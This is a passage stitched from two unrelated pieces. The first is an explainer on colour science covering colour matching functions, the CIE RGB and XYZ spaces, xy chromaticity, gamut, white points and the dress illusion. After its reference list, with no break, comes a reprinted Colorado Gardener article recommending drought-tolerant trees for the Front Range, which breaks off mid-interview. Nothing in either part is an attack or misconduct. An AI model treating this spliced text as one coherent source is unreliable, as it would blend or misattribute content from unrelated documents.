Interestingly, colours were quantified and standardized even before the sensitivity of the cones were measurable with a decent level of precision. So there was already an existing definition/model for colours, making the LMS colour space redundant.

And perhaps, you might have never even heard of colours being represented as a set of LMS values. Instead you might have seen colours represented as a set of RGB values. What is up with that? How is it different from LMS values? And if you have ever searched for numerical values for colour, you might have come across some random XYZ values and a coloured horseshoe diagram that looks like this:

To understand this weird looking diagram, and how RGB values came to be, we need to start using the standard that was used for quantifying colours earlier.

This older model of colours did not use the cone responses as its basis. Instead, it used colour matching functions — mapping colours to the intensity of certain lights required to produce that colour. This is the same as quantifying colours using numbers (measurable intensity values), but the difference is that it relies on a different phenomenon to map colours to numbers.

Metamerism

As mentioned earlier briefly, sometimes lights with different spectral power distributions can produce similar responses in the cones as spectral colours. They can also produce similar cone responses as non-spectral colours as well. More broadly, the same cone responses can be produced by light having different spectral power distributions — so different types of lights can appear to have the same colour even if their spectral power distributions vary. This is called metamerism.

Here, multiple distributions can produce similar maroons.

This phenomenon was explored further in colour matching experiments by William David Wright and John Guild. A light source with three wavelengths (435nm, 546nm, 700nm), each with different intensities, were mapped to spectral colours by varying the intensities of its constituent monochromatic lights — such that the resultant light was perceived to be the same as a spectral colour. The findings were then aggregated and summarized as (the now standardized) colour-matching functions.

The colour matching curves define the intensity of each of the three primaries required to replicate a spectral colour. Primaries are colours that can be used for recreating other colours. Here, the primaries are the 435nm, 546nm, 700nm monochromatic lights.

The first graph shows the intensity of the primaries — they are colour matching functions. The rest of the graphs have the same meaning as the previous figures. Notice the negative intensity values, and notice how the colours formed by the primaries around 500nm cyan looks very different from the real cyan at 500nm.

While the three primaries can produce similar responses to certain spectral colours in the cones — making them appear similar — it is not always the case. There are spectral colours which can never be replicated using only the three monochromatic primaries. For example, the three wavelengths above cannot produce a colour that looks similar to spectral cyans (light having wavelengths around 500nm).

However, the cyans can still be mapped to the primaries. The spectral cyans look similar to the colours formed by the primaries if some intensity of the 700nm primary is added to the cyan itself. This results in measurable intensity values of the 700nm primary — which can be used to map and quantify the spectral cyans. However, since light is added to the spectral colour instead of the primaries, it needs to be represented differently. In the colour matching curves, this is represented using negative values.

The 435nm, 546nm, and 700nm primaries cannot produce colours that exactly matches the spectral cyans. The only way to match the primaries to spectral colours is by adding some amount of the 700nm primary to the spectral colour itself. The addition of 700nm light to the spectral colours is represented as negative intensity in the colour matching functions.

Physically, it is impossible to create light with negative intensity, so it is impossible to reproduce certain colours using only three wavelengths of light. However, colours can still be represented theoretically using negative values in these colour matching functions, for the purpose of quantifying colours.

These colour matching functions form the basis for the present standards that are used for describing and defining colours.

CIE Colour Spaces

The Wright-Guild colour matching functions makes spectral colours quantifiable as a set of measurable intensity values of three monochromatic lights. But non-spectral colours too can be mapped to intensity values using this technique.

Instead of constraining the intensity values of the primaries to follow the colour matching functions, they can also be set to any arbitrary intensity value. This results in other perceivable colours, which are not necessarily spectral — ie. non-spectral colours. They are still colours nonetheless, and more importantly, all these colours can be mapped to a set of (intensity) values. So, a set of intensity values (of the 435nm, 546m, and 700nm primaries) define a colour. Since these values define colours, they can together create a colour space. This colour space is called the CIE RGB colour space.

The CIE RGB colour space uses the normalized intensity of 700nm, 546nm, and 435nm lights as its bases. The LMS colour space, in contrast, used the response of the cones (L,M,S) as its bases.

These intensity values are again measurable and quantifiable, and forms another way to quantify colours. However, there are some minor inconveniences with this colours space. Not all colours are present in this colours space. Or more accurately, not all perceivable colours lie in the positive quadrant of this colour space.

Consider the spectral colours. Mapping spectral colours in the this colour space results in the spectral locus. Some part of this spectral locus outside the positive quadrant of this space — for example, the spectral cyans. Similarly, certain non-spectral colours lie outside the positive bounds of this space as well.

Unlike the LMS colour space, which describes all perceivable colours using non-negative values (all colours have values within zero and one), the CIE RGB colour space requires negative values to define certain colours. For example, spectral cyans are represented using negative intensity of the R primary, and thus lie in the negative R half of the CIE RGB space.

It was decided that a colour space that could map all colours to non-negative values would have been preferable. But instead of conducting more experiments to construct a new colour space, the existing CIE RGB colour space could also be transformed using simple linear transformations. The transformation of the three dimensional colour space can be defined using a simple 3x3 matrix.

The matrix defines how the space gets transformed. To get a more intuitive feel of the transformations, try fiddling around with the matrix value sliders. To understand how linear transformations and matrices work in more detail, you can refer to this great resource.

Transforming the space means the new space is now defined by different new bases or new primaries. Earlier, some spectral colours had to be defined by negative values of a primary, but now the same colour is defined by positive values. It suggests that the coordinate system (the primaries) itself has to contain some sort of a negative intensity. But it is impossible for light to have negative intensity, implying that the primaries for the new colour cannot physically exist, and themselves are imaginary.

Since the primaries of the new colour space are imaginary, it is reasonable to define the new primaries to represent more abstract concepts instead of physical quantities. Again, it was decided that one of the primaries would define the luminance of the colour. The other two can be used to derive its chromaticity. One of the two primaries is also roughly equal to the response of the S-cones. A specific transformation was defined to map the colours to the non-negative quadrant and incorporate the above ideas.

A specfic matrix was defined to transforms the colour matching functions to have all positive values, and to fulfill other certain criteria — one of them being separating luminance and chromaticity.

Luminance refers to the perceived brightness of a colour, while chromaticity is analogous to hues. According to the opponent process theory, colours are perceived as pairs of opposing colours — red vs green, blue vs yellow (chromaticity), and black vs white (luminance). Hence, it is possible to describe a colour by how red it is compared to how green it is, how blue it is compared to how yellow it is, and how bright the overall colour is — ie. defining colours based on luminance and chromaticity values.

The primaries of this new colour space are named X, Y, and Z — and the resulting colour space is called the CIE XYZ colour space. All spectral colours lie in the positive quadrant of this colour space.

Notice how transforming the CIE RGB space results in a new space, defined by new bases (primaries). The new XYZ primaries are no longer grounded in physical reality, and instead are more abstract and imaginary.

The other colours in the CIE RGB space can similarly be mapped in the XYZ colour space by applying the same matrix transformation. However, not all perceivable colours can be mapped to the XYZ space using this transformation since the CIE RGB space itself does not define all perceivable colours in its space — colours that require ‘negative’ intensities have not been defined, apart from the spectral colours. Unlike the RGB colour space, where the primaries are physical monochromatic lights and thus have a corresponding colour, the CIE XYZ space has imaginary primaries and so it is not obvious which colour a certain combination of (X,Y,Z) values refer to — or if it even maps to a valid colour.

The colours in the CIE RGB space after the transformation — resulting in the XYZ space — is shown above. While some of the values in the new XYZ space are valid colours (eg. the CIE RGB colours), it is not clear what the values outside the CIE RGB bounds represent. Real and perceivable colours like the spectral cyans lie outside the positive bounds of CIE RGB space, but still lie inside the positive bounds of the CIE XYZ space. There must similarly be other (X,Y,Z) values that are outside the RGB bounds but inside the XYZ bounds, that are valid colours — for example, the colours lying between the spectral cyans the the CIE RGB colours. However, mapping these colours can be very difficult, since the primaries of the CIE XYZ space are imaginary and don’t necessarily correspond to an observable colour, unlike the physical CIE RGB primaries.

To find which colours the undefined values correspond to, it is helpful to first discuss yet another popular way to represent colours — using chromaticity spaces.

Chromaticity Space

As mentioned before, colours can be alternatively classified based on more abstract properties like their luminance and chromaticity. This can be a more convenient way for defining colours since it matches with how the brain is believed to classify colours — as dark vs bright (luminance), and as red vs green and blue vs yellow (chromaticity).

Consider the CIE RGB colour space. A simple way to obtain a crude approximation of the luminance from the primaries’ values is by taking the their sum (R+G+B). Likewise, the chromaticity values can be approximated by taking the ratios between the intensities of the RGB primaries.

While the luminance and chromaticity are approximations, it does not mean that there is loss of information. The exact RGB values can be recreated using the luminance and chromaticity estimates. The approximation simply refers to the imperfect separation of luminance and chromaticity.

So, the luminance of a colour with values (R,G,B) will be L=R+G+B, and its chromaticity values would be their relative intensities — which can be computed by normalizing them. That is, the chromaticity ratios r, g, b would be equal to R/L, G/L, and B/L respectively. Consider a simple example where the luminance is fixed to one. In the CIE RGB space, all the colours with a luminance value of one will lie on the R+G+B=1 plane. The (R,G,B) values of a colour on this plane represents the ratios of its primaries, and so represents its chromaticity values.

The above slice of the CIE RGB space represents a chromaticity plane. When the luminance is fixed, changing any of the (R,G,B) values changes the relative intensity of the primaries without changing their total intensity (luminance). So colours on these type of planes represent colours with a fixed luminance, but different chromaticities.

Here, since the luminance is fixed to one, the chromaticity ratios (r,g,b) of the colours are simply the (R,G,B) values.

A colour with some other luminance k will lie on the plane R+G+B=k. Meanwhile the chromaticity ratios will be the normalized intensities of the primaries, so the (r,g,b) ratios are the projection of the (R,G,B) values on the R+G+B=1 plane.

The coloured dots represent colours with the same luminance — colours that lie on the R+G+B=k plane (outlined using the gray triangle). The chromaticity of a colour is the ratio of the intensities, or put simply, their normalized intensities. Geometrically, the chromaticity (the point in black) is the projection of the (R,G,B) point (coloured gray) on the R+G+B=1 plane. Try panning to get a feel of this space.

From the diagram it can be seen that colours with the same chromaticity but different luminance lie on the same lines radiating from the origin. These can be thought of as lines of chromaticity. Points on these lines represent colours with the same chromaticity but different luminance values. Colours with the same chromaticity values appear ‘similar’ but can look lighter or darker, depending on their luminance. For example, greens lying on the same chromaticity-line look similar but appear lighter or darker based on their luminance.

Since colours with the same chromaticity but different luminance values get projected to the same point, it leads to a loss of information. The chromaticity plane contains information about chromaticity, and generally does not contain any information about luminance. So unless luminance is explicitly specified, it is impossible to recreate the corresponding RGB values using just the (r,g,b) values.

For some specific luminance, the chromaticity space is just a two dimensional plane in a three dimensional space. Instead of representing the chromaticity space as a plane embedded in a three dimensional space, it is simply represented as a two dimensional space by projecting the chromaticity plane to one of the colour space planes. In the case of the CIE RGB space, the R+G+B=1 chromaticity plane is projected to the RG plane.

Projecting the R+G+B=1 plane of the CIE RGB space to the RG plane results in the rg chromaticity space. This plane is specifically called rg plane, and not the RG plane, because RG and rg represent different quantities. The values (r,g) represent the chromaticity of a colour — it represents the relative ratios of the R and G primaries. Meanwhile the (R,G) values simply represent the absolute intensity of R and G primaries.

The chromaticity values for the spectral colours, too, can be calculated by applying the same transformations on the spectral locus — normalizing the intensity of the primaries to get its projection on the R+G+B=1 plane, and then selecting the (r,g) values to get its projection on the rg plane.

Applying the same operations for the spectral colours instead of the CIE RGB colours — applying the transformations on the spectral locus — results in the rg chromaticity diagram. The spectral locus is represented in gray, while its projection on the R+G+B=1 plane is coloured in black. Notice that again, a part of the locus lies on the negative half in the rg chromaticity space.

While the colours, and therefore the chromaticity of the colours in the positive quadrant in the rg chromaticity space are defined, the chromaticity for colours outside the small subset of the positive quadrant is again not defined. Apart from the spectral colours, of course.

The CIE rg chromaticity space is derived from the CIE RGB colour space, so colours and values that are undefined in the RGB colour space are also undefined in the rg chromaticity space. The only colours that have defined values are the colours created using the CIE RGB primaries, and the spectral colours. These have definite values in the RGB space and thus also have values defined in the rg chromaticity space.

The rg chromaticity diagram above might look a little weird with chromaticities defined in some of the negative half of this space (the spectral cyans), and other chromaticities defined in some of the positive half (the colours replicable using the CIE RGB primaries), but with no chromaticities defined for values in between that space. It is not because there are no such colours — colours that are a combination of spectral cyans and the CIE RGB primaries exist, and intuition would suggest that they will have (r,g) values in between those of the cyans and CIE RGB colours in the chromaticity space. The problem is finding a way to map these colours (chromaticities) in the chromaticity space.

Intuition suggests that the chromaticity of colours which consist of some combination of spectral cyans and CIE RGB primaries would lie in the space between the spectral locus (the part corresponding to cyans) and the CIE RGB colours. This space is highlighted in light blue above.

Defining the chromaticity for this undefined, in-between space requires another insight from other experiments — namely that addition of colours can be approximated as a linear operation. What it means is that colours defined in the CIE spaces can be used to define other colours that are a linear combination of the already-defined colours.

Consider two colours the lie on the spectral locus, eg. two spectral cyans. The colours that can be formed using a linear combination of these cyans can then be represented as a linear combination of the chromaticity values of the CIE RGB primaries — ie. they can be represented using (r,g) values.

Combining spectral colours of varying intensities results in real, observable colours. These perceivable colours can be defined as a linear combination of the spectral colours. Since addition of colours is linear, and the spectral colours have values defined in the CIE colour and chromaticity spaces, these new colours can themselves be defined as the linear combination of CIE colour/chromaticity space using the already-defined values of the spectral colours.

The entire space ‘inside’ the spectral locus will have a defined chromaticity, and it should be obvious why — any colour that can be created as some combination of spectral colours will always lie inside this space. In fact, this space contains the chromaticity of all perceivable colours. Since a colour is ultimately determined by the intensity of lights at different wavelengths (the spectral power distribution), a linear combination of their intensities can be mapped in this space — and since these intensities will always be non-negative, their chromaticity values will always lie inside the area spanned by the spectral locus.

This property of linearity of colour addition can similarly be expanded from the two dimensional chromaticity spaces to the three dimensional colour spaces. A colour can be first quantified as the intensity of two monochromatic lights, which can then be rewritten as the linear combination of the CIE primaries using the CIE colour values of the two monochromatic lights.

While the chromaticity space was introduced to show the linearity of addition of colours in a simpler reduced dimensional space, it has other uses too. Chromaticity is another way to quantify colours. It is not perfect, since there is a reduction of information — the luminance component of a colour is sacrificed in order to be able to represent colours using two dimensions. But this is a convenient tradeoff since most visual communication media are two dimensional, so chromaticity spaces allow easy representation of colours on such media, without losing much information — making them pretty popular.

The xy Chromaticity Space

While chromaticity spaces are a popular way of representing colours (again, to be more accurate, chromaticities) the CIE rg-chromaticity space is not very common because it requires negative values to describe certain chromaticities. Instead, the xy chromaticity space is more commonly used.

Similar to how the CIE RGB colour space was transformed to get the rg chromaticity space and rg chromaticity diagram, the same transformations can be applied for the CIE XYZ colour space to get the xy chromaticity space and the xy chromaticity diagram.

The nomenclature used in the CIE XYZ colour space is analogous to the naming convention used in the CIE RGB colour space. So x = X/(X+Y+Z) and y = Y/(X+Y+Z). The chromaticity value is obtained by projecting colours on the X+Y+Z=1 plane, and then z values are discarded to get the (x,y) values — analogous to projecting the the X+Y+Z=1 chromaticity plane to the XY plane.

Here, the chromaticity of the spectral colours (the spectral locus) is shown above.

Unlike the rg chromaticity space, all the perceivable colours have their chromaticity defined using non-negative values in the xy chromaticity space. The (x,y) chromaticity values for all the colours can be derived the same way it was done in the rg-chromaticity space — using a linear combination of two spectral colours, and then using their xy chromaticity values to calculate the xy chromaticity values of the colours formed using the two spectral colours.

Quantifying colours using chromaticity values is not perfect because of the elimination of the luminance information, but chromaticity diagrams like the xy chromaticity diagram can be still be useful for certain applications — eg. to visualize the limitations of gamuts.

Gamut

Again, consider two monochromatic light sources. These lights will produce colours with a chromaticity that is a linear combination of the chromaticity values of their constituent monochromatic lights — the chromaticity of the resultant colours will lie on the line that joins the spectral colours in the CIE xy chromaticity plane. No combination of intensities can produce a colour with a chromaticity outside this line.

For example, lights having greenish and bluish chromaticities can never produce a colour with reddish chromaticities.

Colours created by combining two (monochromatic) lights will have a chromaticity that lies on the line connecting the chromaticity points of the two lights in the chromaticity diagram. In this case, the 546nm and 435nm lights can never create colours with chromaticities lying outside this line.

Until now, all the visualizations used the ratios of two monochromatic lights to calculate the chromaticity of colours. However, the chromaticity can be calculated using three monochromatic lights as well. The chromaticity will then be a linear combination of three chromaticity values.

Consider three monochromatic lights — the CIE RGB primaries, for example. The chromaticity of the colour created using the primaries would be a linear combination of the three chromaticities.

The chromaticity of colours produced using the CIE RGB primaries will always lie inside the triangle formed by the three primaries — since it uses a linear combination of non-negative scalars coefficients (intensity values).

The chromaticity of the colours which can be physically created using the RGB primaries will lie inside the convex polygon formed by the primaries. This range of colours (or chromaticities) that the primaries can produce is called its gamut. Points lying outside the polygon cannot be physically created (at least with the same three primaries), since it would require a linear combination with negative coefficients — creating colours with chromaticities that lie outside this polygon would require some negative intensities of the primaries, which is physically not possible.

Using more primaries would result in a convex polygon with more vertices (corners) and would cover a larger area, and hence more chromaticities, but having three primaries is usually enough for most applications. It is also economically more efficient to use primaries which are not purely monochromatic. So most displays use just three primaries which aren’t monochromatic — some of these primaries have been standardized, and are even used to construct colour spaces. For example, the sRGB and Adobe RGB colour spaces use standardized primaries which are non-monochromatic.

Gamut & Colour space

Gamut refers to the set of colours that can be physically recreated by an output device, while a colour space is simply a mathematical model used to describe colours. Colour spaces like sRGB and DCI-P3 may arbitrarily restrict itself to certain values to more accurately represent physical and economic constraints. Others like the Pro Photo use imaginary primaries (like the CIE XYZ colour space) to be able to represent a broader set of perceivable colours.

The sRGB colour space underpins another popular way of quantifying colours — colour hexcodes. These hex codes represent the intensity of the sRGB primaries. Usually, the first two hex numbers (same as one byte, or eight bits) correspond to the intensity of the reddish primary. The next two hex values represent the intensity of the greenish primary and the next two hex numbers describe the intensity of the bluish primary.

In hex notation, a colour is usually represented using 24 bits. The number of bits assigned for representing a colour is called the bit depth or colour depth. These 24-bit colours are sometimes also called true colours, and can represent a total of 2^24 values or 16,777,216 colours. Similarly, there are also 8-bit colours and 30-bit colours, which can represent fewer and more shades of colours respectively. There are also other colour depths like 3-bit colours, etc.

The colour depth in a way represents the ‘precision’ of colours that can be produced, but does not represent the ‘range’ of colours. The colours are still constrained by their primaries — colours outside the gamut of the primaries can never be recreated even if more bits are assigned to control their intensity more precisely.

So far multiple ways of quantifying colours have been discussed. It might feel like that these are more than enough for most applications, but there is one more important thing to consider when quantifying and reproducing colours.

White Point

Back to some physical science — all bodies radiate photons, due to blackbody radiation. The spectral power distribution of the radiation is a function of temperature. The spectral power distribution of the radiation will have a colour associated with it.

A blackbody is an idealized body that emits only blackbody radiation (radiation is only a function of temperature). Most bodies in the universe are not perfect blackbodies, but approximating it as such can still be useful. The sun is an example of a blackbody — its surface is around 5500K, and emits the highest intensity radiation around the visible wavelengths (visible light).

The colours above have a corresponding chromaticity — and when mapped on the CIE xy chromaticity diagram, together form the Planckian locus.

The chromaticity of the colours of blackbodies at different temperatures when mapped on a chromaticity diagram forms the Planckian locus. Try changing the previous temperature slider to see how temperature affects the spectral power distribution of a blackbody, and how that in turn affects its chromaticity.

The colour temperature is another way to quantify certain colours and chromaticities — mostly different types of white. It is a common way to do it, as most physical sources of illumination have a chromaticity close to these values. Daylight, for example, has a chromaticity similar to a blackbody at temperatures ranging from 5000K to 6500K, and incandescent bulbs emit light having a colour temperature close to 2700K.

Incandescent bulbs have filaments heated to about 2000K to 2700K and thus have colour temperature close to that temperature. But the same is not true for sunlight as its colour temperature depends on the time of day. Due to Rayleigh scattering, shorter wavelengths of sunlight get scattered making it appear redder, while making skies and overcast light appear bluer. During mornings and evenings when the sun is lower in the sky, more light gets scattered causing sunlight to appear even redder (have a lower colour temperature). Daylight is the combination of all direct and indirect sunlight, and thus also depends on the time of day.

Most illuminants have chromaticity values that lie close to the Planckian locus, but do not lie exactly on it — as most bodies are not perfect blackbodies. Other light sources like fluorescent lights and LEDs, do not even use blackbody radiation to emit light, and thus also do not necessarily lie on the Planckian locus.

Daylight and other light sources usually appear white, and may have chromaticities that lie near the Planckian locus, but need not lie exactly on it.

While the chromaticity values of these illuminants do not lie on the Planckian locus, they are still close enough to be perceptually similar to a blackbody, to be meaningfully attributed to a colour temperature. These colours can be assigned a correlated colour temperature depending on the colour temperature it most closely resembles.

The lines intersecting the Planckian locus represent correlated colour temperatures. Two points on a correlated colour temperature line have the same correlated correlated colour temperature.

Correlated colour temperature can describe non-ideal blackbodies and other sources of white light. But since a single correlated colour temperature can correspond to multiple chromaticity values, it is not a very precise way to describe white light.

Instead, to represent different types of white light in an unambiguous and precise manner, certain standard illuminants have been defined. These are theoretical sources of light with a precisely defined spectral power distribution, and therefore with an exact chromaticity value as well.

Some of these illuminants have defined to represent common sources of illumination (light). For example, the D65 illuminant represents daylight with a colour temperature of around 6500K, while Illuminant A represents an incandescent light with a specific spectral power distribution.

All this effort just to define certain chromaticities of white light might seem excessive, but its importance is more apparent when you consider that most colours are visible not because they emit their own light, but because they reflect the light of an illuminant. That illuminant is usually daylight (white), or some other illuminant trying to replicate daylight.

Since a non-emissive body does not emit its own light, its spectral power distribution is mostly dependent on what it reflects, and the spectral power distribution of the light source illuminating it. More accurately, it is the point-wise product of the body’s spectral reflectance curve and the spectral power distribution of the illuminant. For example, a body might appear bluish under daylight but the same body may appear more yellowish under an incandescent light.

The spectral reflectance describes how much light is reflected based on its wavelength. More precisely, it defines the fraction of light that gets reflected, as a function of wavelength.

The first graph shows the spectral reflectance of an object, the second graph shows the spectral power distribution of the illuminant, and the third shows the resultant spectral power distribution of this reflected radiation (the product of the above two curves).

As can be seen, the colour of a non-emissive body is dependent on its ‘own colour’ as well as the light illuminating it. For example, here, changing the above illuminant to Illuminant A or D65 makes the resultant colours appear warmer or colder, even if the ‘inherent colours’ — greys, whites, pinks, purples, greens, etc — do not change at all.

The colour distortions due to differences in illumination can be seen more clearly in this example — the same objects here are lit up by different types of illuminants.

Hover over the pictures to compare the ‘same colour’ under different illumination.

The left colour box shows colours under warm lighting, while the right colour box shows how it would appear under cool lighting. Here, the ‘same colours’ get distorted because of inconsistent illumination.

Image sourced from Good Free Photos, under CC0.

The change in colour because of differences in illumination also affects its chromaticity. Consider a ‘white’ object (reflects all wavelengths of light equally) under an equal energy illuminant (emits equal energy of radiation/light for all wavelengths). The resultant spectral power distribution of this body will be a straight line — ie. equal energy across all wavelengths. Its chromaticity will lie at (0.333, 0.333) in the xy chromaticity space. Now consider the same object under the illuminant D65. The spectral power distribution of the body will now be the same as the D65 illuminant, and will lie at (0.313, 0.329) in the xy space. The chromaticity of a ‘white’ object will similarly vary for other illuminants.

So a display that emits its own light, trying to mimic ‘white’ will need to take into account the illumination conditions of the environment in order to not appear out of place, and look ‘correct’. Other colours will similarly get distorted, and need to be corrected. Again, similar to how colour addition was approximated as linear, this correction can also be approximated as a simple linear transformation — by scaling the colours linearly, using the white point as a reference.

The chromaticity of a colour that is being lit by the first illuminant (or how it would roughly appear, under that illuminant) is shown in black, while the chromaticity of the same colour being lit by the second illuminant is shown in gray.

The chromaticity correction can be approximated by linearly transforming the colour space, such that when the colour space primaries are at their maximum intensity (or equal intensities, in the case of chromaticity), the chromaticity of the colour will be the same as the required illuminant. This acts as a reference [white] point for other colours — they are scaled using the same transformation that was used to transform the original white point to match the chromaticity of the other illuminant.

The true chromaticity of a non-emissive object is hard to define, since it is dependent on illumination. Instead, it can be defined using its spectral reflectance, which is independent of illumination. Since an equal energy illuminant has equal energy across wavelengths, it will not distort the spectral reflectance of the object, and so the chromaticity when lit by an equal energy illuminant can be considered its ‘exact colour’.

Take another look at the images of the classroom from earlier. Despite the colours being different (because of the different illuminants), they might appear similar because of chromatic adaptation. Human colour perception adjusts for differences in illumination to preserve colours of objects — by using clues from the surrounding environment. For the classroom images, the white walls may ‘feel’ white despite their chromaticity values being closer to those of yellows and blues. Other colours also can also appear ‘original’ despite being distorted by the illuminant, because of chromatic adaptation.

Notice how the whites (as well as other colours) still ‘feel’ white (or their original colour) despite having distorted chromaticities.

However sometimes, chromatic adaptation can also trick the brain into perceiving wrong colours. A relatively famous, but extreme example of this is the dress. The same colours of the dress can be perceived as blue and black, or white and gold — depending on how the brain perceives the white point of the light illuminating the dress. If the brain assumes the dress is lit by a bluish light, it tries to correct for it, making the dress look white and gold. Conversely, if the brain assumes a warmer illuminant, the brain tries correcting the colour distortion, making the dress appear blue and black.

The above graphic shows how the colours of a blue and black dress would look if it is distorted by a yellowish illuminant. If the brain assumes the illuminant is indeed yellowish, it would try to ‘correct’ the colours to their ‘original’ hues, which in this case would be blue and black.

Image sourced Tumblr (archived), under fair use.

Similarly here, how the colours of a white and gold dress might get distorted by a bluish illuminant is shown above. The brain, assuming the illuminant is tinted blue, would try to correct the colours back to white and gold.

Notice that the colours of the right image in both the above and below graphic are the exact same. But how the colours are perceived by the brain depends on whether it assumed a warm or cool illuminant. In very ambiguous cases like these, it might be equally likely for people to perceive it as either of the two.

The above scenario is an example of what happens when colours are quantified without correcting for the white point (illumination) — it can look out of place, and in extreme cases like the dress, even lead to completely wrong colour description and reproduction. If the colours of the dress are mapped on the chromaticity diagram directly without any corrections, it will not always describe the ‘real’ chromaticity of the dress.

For example, here, the colours of two pixels with blue/white and black/gold are mapped on the xy chromaticity diagram. Notice how the chromaticity values correspond to bluish and yellowish hues, suggesting the colours are actually blue and gold. This is obviously not the case. The colours can be corrected by changing the white point, by applying the same linear white point transformation from above.

The chromaticity of the dress on the xy chromaticity diagram maps to values that correspond to (somewhat) bluish and yellowish chromaticities. But the actual colours of the dress are blue and black. Setting the white point to a warmer colour and then transforming it to the equal energy illuminant would transform the chromaticity values to result in more accurate approximations of the ‘true’ colours of the dress.

For accurate colour quantification and reproduction, the illumination of the environment needs to be taken into account too — when quantifying colours of non-emissive objects, which are most of objects around us.

Colour Science

The original questions should be easy to answer now. Colour blindness exists because of cone anomalies. Addition of colours results in a colour whose brightness (luminance) is the sum of the luminance of the colourants, and its hue or chromaticity is the ratios of its colourants. The multiplication of colours can be thought of as a colour reflecting the colour of another coloured illuminant. Colour hexcodes, even with 16,777,216 possible values, are still limited by their primaries. And the dress appears both white and gold, and blue and black because of chromatic adaptation.

Colours are a very interesting topic, because it involves quantifying something that feels innately qualitative. This article mainly discusses additive colour models, but subtractive and other colour models are just as interesting. Most of these topics involve ways to describe and recreate colours. But there are also entirely different branch of science that deal with the psychology of colours — why certain colour combinations appear pleasing, how the meaning of colours vary across cultures, or how colours affect other senses.

The subject of colours is vast — spanning scientific domains from quantum physics and electromagnetism to physiology and psychology. This post is a very tiny fraction of what constitutes colour science.

References

• Jamie Wong: Color: From Hexcodes to Eyeballs
• Bartosz Ciechanowski: Color Spaces
• Douglas A. Kerr: The CIE XYZ and xyY Color Spaces

This article first appeared in the Spring 2022 issue of The Colorado Gardener, one of our community’s greatest resources for anyone growing plants! Reprinted with permission.

If you look at old photos of Colorado Front Range cities, you won’t see many trees. And if you look up native trees of Colorado, you will find a lot of mountain-growing conifers and just a few deciduous trees that grow along streams. Yet our quality of life depends on trees. They provide shade and cooler conditions; they attract and support birds, bees and other life; they create microclimates that make it easier to grow smaller plants, flowers and fruit; and they create beauty. So early settlers planted trees and created systems to bring water from the mountains to drink, bathe with, and to support plants.

‘Gila Monster’, a Gambel Oak selection from western NM that doesn’t sucker, has a single trunk, is cold tolerant to -30F and very drought tolerant. Photo credit: Scott Skogerboe.

This plant culture was not easily gained, in particular with our difficult-for-trees western conditions. At the Eighth Annual Tree Diversity Conference on March 4th, our Front Range conditions for growing trees was described as “harsh”. We have hot summers, cold winters, low rainfall, low humidity, alkaline arid-style soils, late spring and early fall freezes, strong winds, and a month shorter growing season than the Midwest and East. It is much easier to grow a tree in Iowa or Pennsylvania.

Conditions are predicted to be getting worse. At the Tree Conference, speakers were confident in models showing temperatures increasing more rapidly than in the past and even faster for higher elevations because heat rises. On top of that, large numbers of ash trees, cottonwoods, and weak trees will be disappearing, increasing the “heat island effect”. Asphalt, metal and concrete in roads, parking lots, and buildings absorb and retain the sun’s heat where no trees provide shade. Trees also reduce the compacting effect of rain and absorb storm water. Higher density building means less room for tree roots. These stressful conditions weaken trees making them more vulnerable to pests and diseases.

Trees are particularly vulnerable to climate change and very important both in preventing it and maintaining livable conditions. What can we do to improve our urban forest and prepare it for climate change? One obvious solution is to increase tree diversity; with more varieties it’s less likely that large numbers of trees could die because of a pest, disease, drought or other problem. But where conditions are difficult, people naturally want to grow trees with a history of success, which has led to a concentration of a small selection of trees - essentially monocultures, known to be vulnerable to pests, diseases and changing conditions. We have depended too much on the durable ash. Now, especially with Emerald Ash Borer, we need to plant more trees and more kinds of trees. And we need to be asking for trees that are more drought and heat tolerant, more cold and alkaline tolerant.

To get some good advice, I interviewed four tree lovers with histories of planting, propagating, studying, and observing trees.

Trees are particularly vulnerable to climate change and very important both in preventing it and maintaining livable conditions.

Scott Skogerboe is the propagator for Fort Collins Wholesale Nursery. He has spent a lifetime traveling around Colorado and the US, visiting and studying trees, collecting and growing their seeds. He is our main resource for resilient trees and shrubs growing at the Cheyenne Horticultural Research Station, and His propagation & promotional efforts have ensured that a lot of them are being widely grown in Colorado.

Scott thinks we should rely more on native trees that provide for native wildlife, insects and birds. In the past, more focus was on cold tolerant northern selections. While this is still important due to late and early freezes, he says we should be looking south to Texas, Oklahoma and southern Nebraska for seed sources and superior selections with a warming climate.

His specific recommendations are the hardy Arizona Cypress, the Caddo Maples from Oklahoma (like the John Pair selection), and the hardy hybrid chokecherry “Sucker Punch” which doesn’t sucker and supports so much wildlife. We should be growing more oaks because they are so durable and they provide the most ecosystem services, as Doug Tallamy points out. He is growing a Gambel Oak selection called ‘Gila Monster’ from western New Mexico that doesn’t sucker, has a single trunk, grows larger, is cold tolerant to -30F and very drought tolerant.

Scott likes the drought tolerant and strong Hackberry. Some shy away from it because of the bumps on the leaves caused by an insect, but that doesn’t harm the tree and the larva inside those Nipple Galls are a bird favorite. Our native drought tolerant Boxelder, especially ‘Sensation’, a male selection that doesn’t get Boxelder Bugs and has good fall color, also supports lots of birds. He has also been growing some northern selections of our native Big Tooth Maple with redder fall color.

At the Cheyenne Station, Scott saw how well the Ohio Buckeye has done since 1974, growing to 25' with almost no irrigation. He likes Kentucky Coffee Tree because of its handsome form and drought tolerance. ‘Espresso’, a male selection, doesn’t make pods. Catalpa is well-adapted to Colorado, and he is a big fan of hawthorns, especially the drought-tolerant Russian Hawthorn with beautiful flowers and berries for wildlife.

Tim Buchanan greatly expanded the biodiversity of the Fort Collins urban forest as city forester for 41 years. He studied, collected, grew, trialed, and directed the planting of new or unusual varieties. Now many of those trees are quite large and have proven their worth. He knows them all, where and how they are growing. Now retired, he has reduced his seed-grown pets to around a hundred.

Fort Collins is particularly challenging. It’s not that far from Wyoming, colder than Denver and Boulder, and soils there have a pH around 8 - quite alkaline. He says the popular Autumn Blaze Maple doesn’t do well there and neither does Silver Maple or Norway Maple. Sugar Maples have not done well either though selections from colder, drier northern and western areas might do better. He likes Caddo Maple from Oklahoma and Big Tooth Maple, and says Acer nigrum, Black Maple, has better heat and alkaline tolerance.

Northern Red Oak is problematic because of high alkalinity, but Texas Red Oak, Quercus buckleyi, does well and has nice red fall color. Tim says Kentucky Coffee Tree is trouble-free and ‘Espresso’ is a good selection. The conifers he prefers are Blue Spruce, Douglas Fir, Englemann Spruce, Concolor Fir and Swiss Stone Pine, especially ‘Chalet’.

